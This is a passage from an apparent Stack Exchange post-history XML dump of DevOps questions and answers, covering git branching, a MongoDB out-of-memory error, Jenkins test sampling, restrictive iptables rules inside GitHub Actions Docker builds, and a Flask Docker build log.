manually (which I do occasionally) but that becomes cumbersome. I can also make my own script to see if any branches share the same commit since the last git tag if such automation doesn't exist. &#xD;&#xA;&#xD;&#xA;_I am not trained in DevOps - if you see a glaring issue with this dev cycle please point it out to me!_&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38494" PostHistoryTypeId="1" PostId="12534" RevisionGUID="e47b336a-9fc2-48dc-8855-a60e4b08e5ac" CreationDate="2020-10-02T18:22:01.290" UserId="24177" Text="Git feature branching strategy allows unapproved 'tag along' features" ContentLicense="CC BY-SA 4.0" />
  <row Id="38495" PostHistoryTypeId="3" PostId="12534" RevisionGUID="e47b336a-9fc2-48dc-8855-a60e4b08e5ac" CreationDate="2020-10-02T18:22:01.290" UserId="24177" Text="&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38496" PostHistoryTypeId="2" PostId="12535" RevisionGUID="b495bbff-eaf9-44e8-a8b5-6175f21d8c54" CreationDate="2020-10-03T09:54:58.470" UserId="12959" Text="You may be describing a key value store. It is unlikely that you need SQL or relational.&#xD;&#xA;&#xD;&#xA;To avoid vendor-lock-in, and to control your costs. Avoid complex services from the cloud providers. Rent a machine or virtual machine from them, and put your own services on it. There are many Free and Open Source databases. Do some research: start with key-value stores (these are the simplest, fastest, but also low functionality, databases)." ContentLicense="CC BY-SA 4.0" />
  <row Id="38497" PostHistoryTypeId="50" PostId="10417" RevisionGUID="f0305d36-7465-4e7f-8ea3-631a39119c59" CreationDate="2020-10-03T20:04:35.530" UserId="-1" />
  <row Id="38502" PostHistoryTypeId="50" PostId="5887" RevisionGUID="cc1b9433-581a-4790-b5f9-0b7c5f22c5d9" CreationDate="2020-10-04T01:04:55.557" UserId="-1" />
  <row Id="38503" PostHistoryTypeId="2" PostId="12537" RevisionGUID="1f33df1d-7ed1-41b8-b005-2b4582f6869e" CreationDate="2020-10-04T07:47:13.210" UserId="354" Text="Suppose we have a very expensive test in terms of time. This may be some kind of deep analysis or performance test. I would like to run this on a _sample_ of CI events in a Jenkins pipeline, say 20% of the pipeline executions.&#xD;&#xA;&#xD;&#xA;What strategy could one use in the Jenkinsfile to determine whether this stage should be run? Would a global definition to select a random number work?&#xD;&#xA;&#xD;&#xA;Note that we have the constraint of using the declarative pipeline format, so scripted steps should be avoided." ContentLicense="CC BY-SA 4.0" />
  <row Id="38504" PostHistoryTypeId="1" PostId="12537" RevisionGUID="1f33df1d-7ed1-41b8-b005-2b4582f6869e" CreationDate="2020-10-04T07:47:13.210" UserId="354" Text="Run check on a sample of CI events" ContentLicense="CC BY-SA 4.0" />
  <row Id="38505" PostHistoryTypeId="3" PostId="12537" RevisionGUID="1f33df1d-7ed1-41b8-b005-2b4582f6869e" CreationDate="2020-10-04T07:47:13.210" UserId="354" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38506" PostHistoryTypeId="2" PostId="12538" RevisionGUID="c6d36bb5-4de7-4a76-9482-e6f3ac99a435" CreationDate="2020-10-04T10:12:06.433" UserId="10646" Text="I have a newly installed MongoDB server running on an AWS Ubuntu EC2.&#xD;&#xA;The server has nothing else installed on it.&#xD;&#xA;The DB currently contains 35 documents of 3 MB each, meaning less than 110 MB of data.&#xD;&#xA;&#xD;&#xA;I'm running an aggregation query that contains 2 stages: a simple $match stage that makes sure that only 31 documents are aggregated, and a $group stage with $accumulator inside (that stage doesn't allocate much new space, and even if it did, I expect that when handling with 3 MB documents it won't be much more). The query's result should be a single 3 MB documents that is a merger of all of the above.&#xD;&#xA;&#xD;&#xA;Running the query when only 3 documents exist - finishes without a problem. But with 35 - I consistently get the following error:&#xD;&#xA;```&#xD;&#xA;MongoError: Out of memory&#xD;&#xA;    at MessageStream.messageHandler (/app/node_modules/mongodb/lib/cmap/connection.js:268:20)&#xD;&#xA;    at MessageStream.emit (events.js:314:20)&#xD;&#xA;    at processIncomingData (/app/node_modules/mongodb/lib/cmap/message_stream.js:144:12)&#xD;&#xA;    at MessageStream._write (/app/node_modules/mongodb/lib/cmap/message_stream.js:42:5)&#xD;&#xA;    at writeOrBuffer (_stream_writable.js:352:12)&#xD;&#xA;    at MessageStream.Writable.write (_stream_writable.js:303:10)&#xD;&#xA;    at Socket.ondata (_stream_readable.js:717:22)&#xD;&#xA;    at Socket.emit (events.js:314:20)&#xD;&#xA;    at addChunk (_stream_readable.js:307:12)&#xD;&#xA;    at readableAddChunk (_stream_readable.js:282:9)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I've read a lot online and couldn't solve it, I've tried:&#xD;&#xA;&#xD;&#xA;1. Upgrading the server's hardware to t2.large (8 GB RAM).&#xD;&#xA;2. Adding `allowDiskUse` to the query:&#xD;&#xA;```javascript&#xD;&#xA;const options = {&#xD;&#xA;  allowDiskUse: true,&#xD;&#xA;  // explain: true,&#xD;&#xA;}&#xD;&#xA;mongoConn.db(dbConfig.database).collection(collection).aggregate(aggregationPipeline, options).toArray((err: MongoError, result: any) =&gt; {&#xD;&#xA;```&#xD;&#xA;3. With `htop`, I can see the total memory usage of `210M/7.68G` after restarting MongoDB, and during the query it climbs to a peak of `691M/7.68G`, fails, and remains on `627M/7.68G` afterward.&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;4. With `db.enableFreeMonitoring()` I can see a constant 2 GB virtual memory usage, with peaks to 2.1 GB:&#xD;&#xA;[![image][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/FYF6m.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/cYBQl.png&#xD;&#xA;&#xD;&#xA;Summary: I know that MongoDB has a 100MB memory limit, but I guess that it shouldn't reach it with 3 MB documents, and `allowDiskUse`. What am I missing here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38507" PostHistoryTypeId="1" PostId="12538" RevisionGUID="c6d36bb5-4de7-4a76-9482-e6f3ac99a435" CreationDate="2020-10-04T10:12:06.433" UserId="10646" Text="MongoDB MongoError: Out of memory" ContentLicense="CC BY-SA 4.0" />
  <row Id="38508" PostHistoryTypeId="3" PostId="12538" RevisionGUID="c6d36bb5-4de7-4a76-9482-e6f3ac99a435" CreationDate="2020-10-04T10:12:06.433" UserId="10646" Text="&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38509" PostHistoryTypeId="5" PostId="12538" RevisionGUID="fe4b591b-70b5-442a-99d1-68ff7077f370" CreationDate="2020-10-04T10:21:31.083" UserId="10646" Comment="added 296 characters in body" Text="I have a newly installed MongoDB server running on an AWS Ubuntu EC2.&#xD;&#xA;The server has nothing else installed on it.&#xD;&#xA;The DB currently contains 35 documents of 3 MB each, meaning less than 110 MB of data.&#xD;&#xA;&#xD;&#xA;I'm running an aggregation query that contains 2 stages: a simple $match stage that makes sure that only 31 documents are aggregated, and a $group stage with $accumulator inside (that stage doesn't allocate much new space, and even if it did, I expect that when handling with 3 MB documents it won't be much more). The query's result should be a single 3 MB documents that is a merger of all of the above.&#xD;&#xA;&#xD;&#xA;Running the query when only 3 documents exist - finishes without a problem. But with 35 - I consistently get the following error:&#xD;&#xA;```&#xD;&#xA;MongoError: Out of memory&#xD;&#xA;    at MessageStream.messageHandler (/app/node_modules/mongodb/lib/cmap/connection.js:268:20)&#xD;&#xA;    at MessageStream.emit (events.js:314:20)&#xD;&#xA;    at processIncomingData (/app/node_modules/mongodb/lib/cmap/message_stream.js:144:12)&#xD;&#xA;    at MessageStream._write (/app/node_modules/mongodb/lib/cmap/message_stream.js:42:5)&#xD;&#xA;    at writeOrBuffer (_stream_writable.js:352:12)&#xD;&#xA;    at MessageStream.Writable.write (_stream_writable.js:303:10)&#xD;&#xA;    at Socket.ondata (_stream_readable.js:717:22)&#xD;&#xA;    at Socket.emit (events.js:314:20)&#xD;&#xA;    at addChunk (_stream_readable.js:307:12)&#xD;&#xA;    at readableAddChunk (_stream_readable.js:282:9)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I've read a lot online and couldn't solve it, I've tried:&#xD;&#xA;&#xD;&#xA; 1. Upgrading the server's hardware to t2.large (8 GB RAM).&#xD;&#xA; 2. Adding `allowDiskUse` to the query:&#xD;&#xA;```javascript&#xD;&#xA;const options = {&#xD;&#xA;  allowDiskUse: true,&#xD;&#xA;  // explain: true,&#xD;&#xA;}&#xD;&#xA;mongoConn.db(dbConfig.database).collection(collection).aggregate(aggregationPipeline, options).toArray((err: MongoError, result: any) =&gt; {&#xD;&#xA;```&#xD;&#xA; 3. With `htop`, I can see the total memory usage of `210M/7.68G` after restarting MongoDB, and during the query it climbs to a peak of `691M/7.68G`, fails, and remains on `627M/7.68G` afterward.&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA; 4. With `db.enableFreeMonitoring()` I can see a constant 2 GB virtual memory usage, with peaks to 2.1 GB:&#xD;&#xA;[![image][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 5. The result of `db.serverStatus().tcmalloc.tcmalloc.formattedString`:&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA; 7. The result of `db.serverStatus().mem`:&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;Summary: I know that MongoDB has a 100MB memory limit, but I guess that it shouldn't reach it with 3 MB documents, and `allowDiskUse`. What am I missing here?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/FYF6m.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/cYBQl.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/ZYNoZ.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/Jyz3c.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38511" PostHistoryTypeId="2" PostId="12540" RevisionGUID="b0aff746-e403-4edb-a010-0dfb7c2cd17e" CreationDate="2020-10-04T11:43:04.663" UserId="22501" Text="Assuming my iptables rules default to DROP on the INPUT and OUTPUT chains, what is the bare minimum set of rules that I must add to my chains to prevent a script running in GitHub Actions from stalling indefinitely?&#xD;&#xA;&#xD;&#xA;I'm using (free) GitHub Actions for my open-source application's CI/CD infrastructure. When I push changes to github.com, it automatically spins up an Ubuntu 18.04 linux server in Microsoft's cloud that checks-out my repo and executes a BASH script to build my application.&#xD;&#xA;&#xD;&#xA;For security reasons, early on in my build script I install and setup some very restrictive `iptables` rules that default to `DROP` on the `INPUT` and `OUTPUT` chains. I poke a hole in the firewall for `127.0.0.1`, `RELATED/ESTABLISHED` on `INPUT`, and only permit the `_apt` user to send traffic through `OUTPUT`.&#xD;&#xA;&#xD;&#xA;This works great when I run the build script in a docker container on my local system. But--as I just learned--when it runs with GitHub Actions, it stalls indefinitely. Clearly, the instance itself needs to be able to communicate out to GitHub's servers in order to finish. And I appear to have broken that.&#xD;&#xA;&#xD;&#xA;So the question is: what `-j ACCEPT` rules should I add to my `iptables` `INPUT` and `OUTPUT` chains to only permit the bare necessities for GitHub Actions executions to proceed as usual?&#xD;&#xA;&#xD;&#xA;For reference, here's the snippet from my build script that sets-up my firewall:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;##################&#xD;&#xA;# SETUP IPTABLES #&#xD;&#xA;##################&#xD;&#xA;&#xD;&#xA;# We setup iptables so that only the apt user (and therefore the apt command)&#xD;&#xA;# can access the internet. We don't want insecure tools like `pip` to download&#xD;&#xA;# unsafe code from the internet.&#xD;&#xA;&#xD;&#xA;${SUDO} iptables-save &gt; /tmp/iptables-save.`date &quot;+%Y%m%d_%H%M%S&quot;`&#xD;&#xA;${SUDO} iptables -A INPUT -i lo -j ACCEPT&#xD;&#xA;${SUDO} iptables -A INPUT -s 127.0.0.1/32 -j DROP&#xD;&#xA;${SUDO} iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;${SUDO} iptables -A INPUT -j DROP&#xD;&#xA;${SUDO} iptables -A OUTPUT -s 127.0.0.1/32 -d 127.0.0.1/32 -j ACCEPT&#xD;&#xA;${SUDO} iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;${SUDO} iptables -A OUTPUT -m owner --uid-owner 100 -j ACCEPT # apt uid = 100&#xD;&#xA;${SUDO} iptables -A OUTPUT -j DROP&#xD;&#xA;&#xD;&#xA;${SUDO} ip6tables-save &gt; /tmp/ip6tables-save.`date &quot;+%Y%m%d_%H%M%S&quot;`&#xD;&#xA;${SUDO} ip6tables -A INPUT -i lo -j ACCEPT&#xD;&#xA;${SUDO} ip6tables -A INPUT -s ::1/128 -j DROP&#xD;&#xA;${SUDO} ip6tables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;${SUDO} ip6tables -A INPUT -j DROP&#xD;&#xA;${SUDO} ip6tables -A OUTPUT -s ::1/128 -d ::1/128 -j ACCEPT&#xD;&#xA;${SUDO} ip6tables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;${SUDO} ip6tables -A OUTPUT -m owner --uid-owner 100 -j ACCEPT&#xD;&#xA;${SUDO} ip6tables -A OUTPUT -j DROP&#xD;&#xA;&#xD;&#xA;# attempt to access the internet as root. If it works, exit 1&#xD;&#xA;curl -s 1.1.1.1&#xD;&#xA;if [ $? -eq 0 ]; then&#xD;&#xA;        echo &quot;ERROR: iptables isn't blocking internet access to unsafe tools. You may need to run this as root (and you should do it inside a VM)&quot;&#xD;&#xA;        exit 1&#xD;&#xA;fi&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38512" PostHistoryTypeId="1" PostId="12540" RevisionGUID="b0aff746-e403-4edb-a010-0dfb7c2cd17e" CreationDate="2020-10-04T11:43:04.663" UserId="22501" Text="iptables rules to permit GitHub Actions from breaking (chains default to DROP)" ContentLicense="CC BY-SA 4.0" />
  <row Id="38513" PostHistoryTypeId="3" PostId="12540" RevisionGUID="b0aff746-e403-4edb-a010-0dfb7c2cd17e" CreationDate="2020-10-04T11:43:04.663" UserId="22501" Text="&lt;continuous-integration&gt;&lt;networking&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38514" PostHistoryTypeId="2" PostId="12541" RevisionGUID="fee2e1b5-baa6-45d9-b1bb-717935085aee" CreationDate="2020-10-04T11:44:39.230" UserId="22501" Text="This can be achieved by running your build script in a docker container and applying your iptables rules inside that container, which won't affect the host `runner`'s connectivity.&#xD;&#xA;&#xD;&#xA;For example, if the below script is executed in a GitHub Actions job (in the Ubuntu 18.04 GitHub shared runner), it will run the build script (`docker_script.sh`) in a debian docker container that has no internet connectivity, except from the `_apt` user.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/bin/bash&#xD;&#xA;set -x&#xD;&#xA;&#xD;&#xA;###################&#xD;&#xA;# INSTALL DEPENDS #&#xD;&#xA;###################&#xD;&#xA;&#xD;&#xA;apt-get -y install docker.io&#xD;&#xA;&#xD;&#xA;##################&#xD;&#xA;# DOWNLOAD IMAGE #&#xD;&#xA;##################&#xD;&#xA;&#xD;&#xA;# At the time of writing, Docker Content Trust is 100% security theater without&#xD;&#xA;# explicitly adding the root public keys to the $HOME/.docker/trust/ directory&#xD;&#xA;#&#xD;&#xA;#  * https://github.com/BusKill/buskill-app/issues/6#issuecomment-700050760&#xD;&#xA;#  * https://security.stackexchange.com/questions/238529/how-to-list-all-of-the-known-root-keys-in-docker-docker-content-trust&#xD;&#xA;#  * https://github.com/docker/cli/issues/2752&#xD;&#xA;&#xD;&#xA;docker -D pull debian:stable-slim&#xD;&#xA;&#xD;&#xA;#################&#xD;&#xA;# CREATE SCRIPT #&#xD;&#xA;#################&#xD;&#xA;&#xD;&#xA;tmpDir=`mktemp -d`&#xD;&#xA;pushd &quot;${tmpDir}&quot;&#xD;&#xA;&#xD;&#xA;cat &lt;&lt; EOF &gt; docker_script.sh&#xD;&#xA;#!/bin/bash&#xD;&#xA;set -x&#xD;&#xA;&#xD;&#xA;# SETTINGS #&#xD;&#xA;SUDO=/usr/bin/sudo&#xD;&#xA;&#xD;&#xA;# DEPENDS #&#xD;&#xA;${SUDO} apt-get update&#xD;&#xA;${SUDO} apt-get install iptables curl&#xD;&#xA;&#xD;&#xA;# IPTABLES #&#xD;&#xA;&#xD;&#xA;# We setup iptables so that only the apt user (and therefore the apt command)&#xD;&#xA;# can access the internet. We don't want insecure tools like `pip` to download&#xD;&#xA;# unsafe code from the internet.&#xD;&#xA;&#xD;&#xA;${SUDO} iptables-save &gt; /tmp/iptables-save.`date &quot;+%Y%m%d_%H%M%S&quot;`&#xD;&#xA;${SUDO} iptables -A INPUT -i lo -j ACCEPT&#xD;&#xA;${SUDO} iptables -A INPUT -s 127.0.0.1/32 -j DROP&#xD;&#xA;${SUDO} iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;${SUDO} iptables -A INPUT -j DROP&#xD;&#xA;${SUDO} iptables -A OUTPUT -s 127.0.0.1/32 -d 127.0.0.1/32 -j ACCEPT&#xD;&#xA;${SUDO} iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;${SUDO} iptables -A OUTPUT -m owner --uid-owner 100 -j ACCEPT # apt uid = 100&#xD;&#xA;${SUDO} iptables -A OUTPUT -j DROP&#xD;&#xA;&#xD;&#xA;${SUDO} ip6tables-save &gt; /tmp/ip6tables-save.`date &quot;+%Y%m%d_%H%M%S&quot;`&#xD;&#xA;${SUDO} ip6tables -A INPUT -i lo -j ACCEPT&#xD;&#xA;${SUDO} ip6tables -A INPUT -s ::1/128 -j DROP&#xD;&#xA;${SUDO} ip6tables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;${SUDO} ip6tables -A INPUT -j DROP&#xD;&#xA;${SUDO} ip6tables -A OUTPUT -s ::1/128 -d ::1/128 -j ACCEPT&#xD;&#xA;${SUDO} ip6tables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;${SUDO} ip6tables -A OUTPUT -m owner --uid-owner 100 -j ACCEPT&#xD;&#xA;${SUDO} ip6tables -A OUTPUT -j DROP&#xD;&#xA;&#xD;&#xA;# attempt to access the internet as root. If it works, exit 1&#xD;&#xA;curl 1.1.1.1&#xD;&#xA;if [ $? -eq 0 ]; then&#xD;&#xA;        echo &quot;ERROR: iptables isn't blocking internet access to unsafe tools. You may need to run this as root (and you should do it inside a VM)&quot;&#xD;&#xA;        exit 1&#xD;&#xA;fi&#xD;&#xA;&#xD;&#xA;# BUILD #&#xD;&#xA;&#xD;&#xA;# ...&#xD;&#xA;# &lt;DO BUILD HERE&gt;&#xD;&#xA;# ...&#xD;&#xA;&#xD;&#xA;exit 0&#xD;&#xA;EOF&#xD;&#xA;chmod +x docker_script.sh&#xD;&#xA;&#xD;&#xA;##############&#xD;&#xA;# DOCKER RUN #&#xD;&#xA;##############&#xD;&#xA;&#xD;&#xA;docker run --rm --cap-add &quot;NET_ADMIN&quot; -v &quot;${tmpDir}:/root/shared_volume&quot; debian:stable-slim /bin/bash -c &quot;cd /root/shared_volume &amp;&amp; docker_script.sh&quot;&#xD;&#xA;&#xD;&#xA;# exit cleanly&#xD;&#xA;exit 0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Note that:&#xD;&#xA;&#xD;&#xA;1. You have to execute the `docker run` command manually rather than just specify the `container:` in the GitHub Actions yaml file in order to add the `NET_ADMIN` capability. See Also https://stackoverflow.com/questions/63959783/how-to-run-script-in-docker-container-with-additional-capabilities-docker-exec/64045054#64045054&#xD;&#xA;&#xD;&#xA;2. This is a security risk unless you pin the root signing keys before calling `docker pull`. See also https://security.stackexchange.com/questions/238529/how-to-list-all-of-the-known-root-keys-in-docker-docker-content-trust&#xD;&#xA;&#xD;&#xA;3. The above script should be executed as root. For example, prepend `sudo` to it in the `run:` key for the step in the GitHub Actions workflow." ContentLicense="CC BY-SA 4.0" />
  <row Id="38515" PostHistoryTypeId="5" PostId="12538" RevisionGUID="a7381814-43a7-4ac7-a85b-22ca3343a508" CreationDate="2020-10-04T12:00:49.430" UserId="10646" Comment="added 748 characters in body" Text="I have a newly installed MongoDB server running on an AWS Ubuntu EC2.&#xD;&#xA;The server has nothing else installed on it.&#xD;&#xA;The DB currently contains 35 documents of 3 MB each, meaning less than 110 MB of data.&#xD;&#xA;&#xD;&#xA;I'm running an aggregation query that contains 2 stages: a simple $match stage that makes sure that only 31 documents are aggregated, and a $group stage with $accumulator inside (that stage doesn't allocate much new space, and even if it did, I expect that when handling with 3 MB documents it won't be much more). The query's result should be a single 3 MB documents that is a merger of all of the above.&#xD;&#xA;&#xD;&#xA;Running the query when only 3 documents exist - finishes without a problem. But with 35 - I consistently get the following error:&#xD;&#xA;```&#xD;&#xA;MongoError: Out of memory&#xD;&#xA;    at MessageStream.messageHandler (/app/node_modules/mongodb/lib/cmap/connection.js:268:20)&#xD;&#xA;    at MessageStream.emit (events.js:314:20)&#xD;&#xA;    at processIncomingData (/app/node_modules/mongodb/lib/cmap/message_stream.js:144:12)&#xD;&#xA;    at MessageStream._write (/app/node_modules/mongodb/lib/cmap/message_stream.js:42:5)&#xD;&#xA;    at writeOrBuffer (_stream_writable.js:352:12)&#xD;&#xA;    at MessageStream.Writable.write (_stream_writable.js:303:10)&#xD;&#xA;    at Socket.ondata (_stream_readable.js:717:22)&#xD;&#xA;    at Socket.emit (events.js:314:20)&#xD;&#xA;    at addChunk (_stream_readable.js:307:12)&#xD;&#xA;    at readableAddChunk (_stream_readable.js:282:9)&#xD;&#xA;```&#xD;&#xA;/etc/mongod.conf:&#xD;&#xA;```&#xD;&#xA;# mongod.conf&#xD;&#xA;&#xD;&#xA;# for documentation of all options, see:&#xD;&#xA;#   http://docs.mongodb.org/manual/reference/configuration-options/&#xD;&#xA;&#xD;&#xA;# Where and how to store data.&#xD;&#xA;storage:&#xD;&#xA;  dbPath: /var/lib/mongodb&#xD;&#xA;  journal:&#xD;&#xA;    enabled: true&#xD;&#xA;#  engine:&#xD;&#xA;#  mmapv1:&#xD;&#xA;#  wiredTiger:&#xD;&#xA;&#xD;&#xA;# where to write logging data.&#xD;&#xA;systemLog:&#xD;&#xA;  destination: file&#xD;&#xA;  logAppend: true&#xD;&#xA;  path: /var/log/mongodb/mongod.log&#xD;&#xA;&#xD;&#xA;# network interfaces&#xD;&#xA;net:&#xD;&#xA;  port: 27017&#xD;&#xA;  bindIp: 127.0.0.1,&lt;IP&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# how the process runs&#xD;&#xA;processManagement:&#xD;&#xA;  timeZoneInfo: /usr/share/zoneinfo&#xD;&#xA;&#xD;&#xA;#security:&#xD;&#xA;security:&#xD;&#xA;    authorization: &quot;enabled&quot;&#xD;&#xA;&#xD;&#xA;#operationProfiling:&#xD;&#xA;&#xD;&#xA;#replication:&#xD;&#xA;&#xD;&#xA;#sharding:&#xD;&#xA;&#xD;&#xA;## Enterprise-Only Options:&#xD;&#xA;&#xD;&#xA;#auditLog:&#xD;&#xA;&#xD;&#xA;#snmp:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I've read a lot online and couldn't solve it, I've tried:&#xD;&#xA;&#xD;&#xA; 1. Upgrading the server's hardware to t2.large (8 GB RAM).&#xD;&#xA; 2. Adding `allowDiskUse` to the query:&#xD;&#xA;```javascript&#xD;&#xA;const options = {&#xD;&#xA;  allowDiskUse: true,&#xD;&#xA;  // explain: true,&#xD;&#xA;}&#xD;&#xA;mongoConn.db(dbConfig.database).collection(collection).aggregate(aggregationPipeline, options).toArray((err: MongoError, result: any) =&gt; {&#xD;&#xA;```&#xD;&#xA; 3. With `htop`, I can see the total memory usage of `210M/7.68G` after restarting MongoDB, and during the query it climbs to a peak of `691M/7.68G`, fails, and remains on `627M/7.68G` afterward.&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA; 4. With `db.enableFreeMonitoring()` I can see a constant 2 GB virtual memory usage, with peaks to 2.1 GB:&#xD;&#xA;[![image][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 5. The result of `db.serverStatus().tcmalloc.tcmalloc.formattedString`:&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA; 7. The result of `db.serverStatus().mem`:&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;Summary: I know that MongoDB has a 100MB memory limit, but I guess that it shouldn't reach it with 3 MB documents, and `allowDiskUse`. What am I missing here?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/FYF6m.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/cYBQl.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/ZYNoZ.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/Jyz3c.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38517" PostHistoryTypeId="2" PostId="12542" RevisionGUID="9ce39bd5-9538-499b-be73-60c969913225" CreationDate="2020-10-04T14:55:46.077" UserId="24182" Text="If you want to keep with almost no code/syntax changes because adapting to another database engine, you can just boot a small VM with SQL Server 2019 Express edition on it." ContentLicense="CC BY-SA 4.0" />
  <row Id="38518" PostHistoryTypeId="34" PostId="12446" RevisionGUID="7540dfbb-bf47-474b-9f07-9fae9207deb6" CreationDate="2020-10-04T17:00:45.133" UserId="-1" Comment="62" />
  <row Id="38519" PostHistoryTypeId="2" PostId="12543" RevisionGUID="087e486b-5c35-4420-b7d9-34869c917907" CreationDate="2020-10-04T22:40:15.207" UserId="23443" Text="&#xD;&#xA;This [example][1] builds fine:&#xD;&#xA;&#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# ll&#xD;&#xA;    total 16&#xD;&#xA;    drwxr-xr-x 2 root root 4096 Oct  4 15:11 ./&#xD;&#xA;    drwxr-xr-x 3 root root 4096 Oct  4 15:09 ../&#xD;&#xA;    -rw-r--r-- 1 root root  134 Oct  4 15:10 Dockerfile&#xD;&#xA;    -rw-r--r-- 1 root root  290 Oct  4 15:11 helloworld.py&#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# cat Dockerfile &#xD;&#xA;    FROM python:3&#xD;&#xA;    ADD helloworld.py /&#xD;&#xA;    RUN pip install flask&#xD;&#xA;    RUN pip install flask_restful&#xD;&#xA;    EXPOSE 3333&#xD;&#xA;    CMD [ &quot;python&quot;, &quot;./helloworld.py&quot;]&#xD;&#xA;    &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# cat helloworld.py &#xD;&#xA;    from flask import Flask, request&#xD;&#xA;    from flask_restful import Resource, Api&#xD;&#xA;    &#xD;&#xA;    app = Flask(__name__)&#xD;&#xA;    api = Api(app)&#xD;&#xA;    &#xD;&#xA;    class Greeting (Resource):&#xD;&#xA;        def get(self):&#xD;&#xA;            return 'Hello World!'&#xD;&#xA;    &#xD;&#xA;    api.add_resource(Greeting, '/') # Route_1&#xD;&#xA;    &#xD;&#xA;    if __name__ == '__main__':&#xD;&#xA;        app.run('0.0.0.0','3333')&#xD;&#xA;    &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# git config --get remote.origin.url&#xD;&#xA;    https://github.com/donschenck/path-to-kubernetes&#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# docker build -t hello-world-python .&#xD;&#xA;    Sending build context to Docker daemon  3.072kB&#xD;&#xA;    Step 1/6 : FROM python:3&#xD;&#xA;    3: Pulling from library/python&#xD;&#xA;    57df1a1f1ad8: Pull complete &#xD;&#xA;    71e126169501: Pull complete &#xD;&#xA;    1af28a55c3f3: Pull complete &#xD;&#xA;    03f1c9932170: Pull complete &#xD;&#xA;    65b3db15f518: Pull complete &#xD;&#xA;    3e3b8947ed83: Pull complete &#xD;&#xA;    f156949921a1: Pull complete &#xD;&#xA;    1c1931013093: Pull complete &#xD;&#xA;    51fff639b6bf: Pull complete &#xD;&#xA;    Digest: sha256:1a126607adde46a706e76357c910f36b9f5529fb575d4d86a639a4997daceba7&#xD;&#xA;    Status: Downloaded newer image for python:3&#xD;&#xA;     ---&gt; bbf31371d67d&#xD;&#xA;    Step 2/6 : ADD helloworld.py /&#xD;&#xA;     ---&gt; 5fd4d1c7c5b7&#xD;&#xA;    Step 3/6 : RUN pip install flask&#xD;&#xA;     ---&gt; Running in d96dce20ef48&#xD;&#xA;    Collecting flask&#xD;&#xA;      Downloading Flask-1.1.2-py2.py3-none-any.whl (94 kB)&#xD;&#xA;    Collecting Werkzeug&gt;=0.15&#xD;&#xA;      Downloading Werkzeug-1.0.1-py2.py3-none-any.whl (298 kB)&#xD;&#xA;    Collecting itsdangerous&gt;=0.24&#xD;&#xA;      Downloading itsdangerous-1.1.0-py2.py3-none-any.whl (16 kB)&#xD;&#xA;    Collecting click&gt;=5.1&#xD;&#xA;      Downloading click-7.1.2-py2.py3-none-any.whl (82 kB)&#xD;&#xA;    Collecting Jinja2&gt;=2.10.1&#xD;&#xA;      Downloading Jinja2-2.11.2-py2.py3-none-any.whl (125 kB)&#xD;&#xA;    Collecting 